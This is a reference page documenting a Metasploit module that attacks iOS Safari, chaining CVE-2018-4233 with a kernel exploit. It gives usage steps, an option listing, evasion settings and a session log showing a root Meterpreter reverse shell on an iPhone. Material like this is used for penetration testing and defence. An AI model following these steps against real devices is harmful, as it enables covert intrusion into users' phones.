Safari Webkit Proxy Object Type Confusion - Metasploit


This page contains detailed information about how to use the exploit/apple_ios/browser/webkit_createthis metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Safari Webkit Proxy Object Type Confusion
Module: exploit/apple_ios/browser/webkit_createthis
Source code: modules/exploits/apple_ios/browser/webkit_createthis.rb
Disclosure date: 2018-03-15
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): aarch64
Supported platform(s): Apple_iOS
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-13861, CVE-2018-4233

This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233). The type confusion leads to the ability to allocate fake Javascript objects, as well as the ability to find the address in memory of a Javascript object. This allows us to construct a fake JSCell object that can be used to read and write arbitrary memory from Javascript. The module then uses a ROP chain to write the first stage shellcode into executable memory within the Safari process and kick off its execution. The first stage maps the second stage macho (containing CVE-2017-13861) into executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake exploit leads to a kernel task port (TFP0) that can read and write arbitrary kernel memory. The processes credential and sandbox structure in the kernel is overwritten and the meterpreter payloads code signature hash is added to the kernels trust cache, allowing Safari to load and execute the (self-signed) meterpreter payload.

Module Ranking and Traits

Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Basic Usage

msf > use exploit/apple_ios/browser/webkit_createthis
msf exploit(webkit_createthis) > exploit

Knowledge Base

Description

This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233).

The type confusion leads to the ability to allocate fake Javascript objects, as well as the ability to find the address in memory of a Javascript object. This allows us to construct a fake JSCell object that can be used to read and write arbitrary memory from Javascript. The module then uses a ROP chain to write the first stage shellcode into executable memory within the Safari process and kick off its execution.

The first stage maps the second stage macho (containing CVE-2017-13861) into executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake exploit leads to a kernel task port (TFP0) that can read and write arbitrary kernel memory. The processes credential and sandbox structure in the kernel is overwritten and the meterpreter payloads code signature hash is added to the kernels trust cache, allowing Safari to load and execute the (self-signed) meterpreter payload.

Vulnerable Application

The exploit should work all 64-bit devices (iPhone 5S and newer) running iOS 10 up to iOS 11.2.

Verification Steps

  • Start msfconsole
  • use exploit/apple_ios/browser/webkit_createthis
  • set LHOST and SRVHOST as appropriate
  • exploit
  • Browse to the given URL with a vulnerable device from Safari
  • Note that the payload is specially created for this exploit, due to sandbox limitations that prevent spawning new processes.

Scenarios

64bit iPhone 5S running iOS 10.2.1

msf5 exploit(apple_ios/browser/webkit_createthis) > exploit
[*] Started reverse TCP handler on 192.168.1.51:4444 
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.51:8080/
[*] Server started.
[*] 192.168.1.34     webkit_createthis - Requesting / from Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
[*] 192.168.1.34     webkit_createthis - Requesting /exploit from Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
[+] 192.168.1.34     webkit_createthis - Sent async_wake exploit
[+] 192.168.1.34     webkit_createthis - Sent sha1 iOS 10 payload
[*] Meterpreter session 1 opened (192.168.1.51:4444 -> 192.168.1.34:49211) at 2019-04-15 11:34:01 +0200

msf5 exploit(apple_ios/browser/webkit_createthis) > sessions

Active sessions
===============

  Id  Name  Type                           Information                                  Connection
  --  ----  ----                           -----------                                  ----------
  1         meterpreter aarch64/apple_ios  uid=0, gid=0, euid=0, egid=0 @ 192.168.1.34  192.168.1.51:4444 -> 192.168.1.34:49211 (192.168.1.34)

msf5 exploit(apple_ios/browser/webkit_createthis) > sessions 1
[*] Starting interaction with 1...

meterpreter > pwd
/System/Library/Frameworks/WebKit.framework/XPCServices/com.apple.WebKit.WebContent.xpc
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

Go back to menu.

Msfconsole Usage

Here is how the apple_ios/browser/webkit_createthis exploit module looks in the msfconsole:

msf6 > use exploit/apple_ios/browser/webkit_createthis

[*] Using configured payload apple_ios/aarch64/meterpreter_reverse_tcp
msf6 exploit(apple_ios/browser/webkit_createthis) > show info

       Name: Safari Webkit Proxy Object Type Confusion
     Module: exploit/apple_ios/browser/webkit_createthis
   Platform: Apple_iOS
       Arch: aarch64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-03-15

Provided by:
  saelo
  niklasb
  Ian Beer
  siguza

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This module exploits a type confusion bug in the Javascript Proxy 
  object in WebKit. The DFG JIT does not take into account that, 
  through the use of a Proxy, it is possible to run arbitrary JS code 
  during the execution of a CreateThis operation. This makes it 
  possible to change the structure of e.g. an argument without causing 
  a bailout, leading to a type confusion (CVE-2018-4233). The type 
  confusion leads to the ability to allocate fake Javascript objects, 
  as well as the ability to find the address in memory of a Javascript 
  object. This allows us to construct a fake JSCell object that can be 
  used to read and write arbitrary memory from Javascript. The module 
  then uses a ROP chain to write the first stage shellcode into 
  executable memory within the Safari process and kick off its 
  execution. The first stage maps the second stage macho (containing 
  CVE-2017-13861) into executable memory, and jumps to its entrypoint. 
  The CVE-2017-13861 async_wake exploit leads to a kernel task port 
  (TFP0) that can read and write arbitrary kernel memory. The 
  processes credential and sandbox structure in the kernel is 
  overwritten and the meterpreter payloads code signature hash is 
  added to the kernels trust cache, allowing Safari to load and 
  execute the (self-signed) meterpreter payload.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-4233
  https://nvd.nist.gov/vuln/detail/CVE-2017-13861
  https://github.com/saelo/cve-2018-4233
  https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1
  https://bugs.chromium.org/p/project-zero/issues/detail?id=1417
  https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js

Module Options

This is a complete list of options available in the apple_ios/browser/webkit_createthis exploit:

msf6 exploit(apple_ios/browser/webkit_createthis) > show options

Module options (exploit/apple_ios/browser/webkit_createthis):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (apple_ios/aarch64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the apple_ios/browser/webkit_createthis exploit:

msf6 exploit(apple_ios/browser/webkit_createthis) > show advanced

Module advanced options (exploit/apple_ios/browser/webkit_createthis):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DEBUG_EXPLOIT           false            no        Show debug information in the exploit javascript
   DUMP_OFFSETS            false            no        Show newly found offsets in a javascript prompt
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (apple_ios/aarch64/meterpreter_reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the apple_ios/browser/webkit_createthis module can exploit:

msf6 exploit(apple_ios/browser/webkit_createthis) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the apple_ios/browser/webkit_createthis exploit:

msf6 exploit(apple_ios/browser/webkit_createthis) > show payloads

Compatible Payloads
===================

   #  Name                                                 Disclosure Date  Rank    Check  Description
   -  ----                                                 ---------------  ----    -----  -----------
   0  payload/apple_ios/aarch64/meterpreter_reverse_http                    normal  No     Apple_iOS Meterpreter, Reverse HTTP Inline
   1  payload/apple_ios/aarch64/meterpreter_reverse_https                   normal  No     Apple_iOS Meterpreter, Reverse HTTPS Inline
   2  payload/apple_ios/aarch64/meterpreter_reverse_tcp                     normal  No     Apple_iOS Meterpreter, Reverse TCP Inline
   3  payload/apple_ios/aarch64/shell_reverse_tcp                           normal  No     Apple iOS aarch64 Command Shell, Reverse TCP Inline
   4  payload/generic/custom                                                normal  No     Custom Payload
   5  payload/generic/shell_bind_tcp                                        normal  No     Generic Command Shell, Bind TCP Inline
   6  payload/generic/shell_reverse_tcp                                     normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the apple_ios/browser/webkit_createthis exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(apple_ios/browser/webkit_createthis) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Target is not vulnerable

Here is a relevant code snippet related to the "Target is not vulnerable" error message:

69:	  def get_version(user_agent)
70:	    if user_agent =~ /OS (.*?) like Mac OS X\)/
71:	      ios_version = Rex::Version.new($1.gsub("_", "."))
72:	      return ios_version
73:	    end
74:	    fail_with Failure::NotVulnerable, 'Target is not vulnerable'
75:	  end
76:	
77:	  def on_request_uri(cli, request)
78:	    if request.uri =~ %r{/apple-touch-icon*}
79:	      return

Error

Here is a relevant code snippet related to the "Error" error message:

1003:	            try {
1004:	                if (req.responseType != "arraybuffer") throw "y u no blob";
1005:	                payload.set(new Uint8Array(req.response), 0x0);
1006:	                pwn();
1007:	            } catch (e) {
1008:	                fail("Error: " + e + (e != null ? " " + e.stack : ""))
1009:	            }
1010:	        });
1011:	        req.addEventListener("error", function(ev) {
1012:	            fail(ev)
1013:	        });

error

Here is a relevant code snippet related to the "error" error message:

1006:	                pwn();
1007:	            } catch (e) {
1008:	                fail("Error: " + e + (e != null ? " " + e.stack : ""))
1009:	            }
1010:	        });
1011:	        req.addEventListener("error", function(ev) {
1012:	            fail(ev)
1013:	        });
1014:	        req.send()
1015:	    } catch (e) {
1016:	        fail("Error: " + e + (e != null ? " " + e.stack : ""))

Error

Here is a relevant code snippet related to the "Error" error message:

1011:	        req.addEventListener("error", function(ev) {
1012:	            fail(ev)
1013:	        });
1014:	        req.send()
1015:	    } catch (e) {
1016:	        fail("Error: " + e + (e != null ? " " + e.stack : ""))
1017:	    }
1018:	};
1019:	
1020:	go();
1021:

Go back to menu.

References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • saelo
  • niklasb
  • Ian Beer
  • siguza

Version

This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.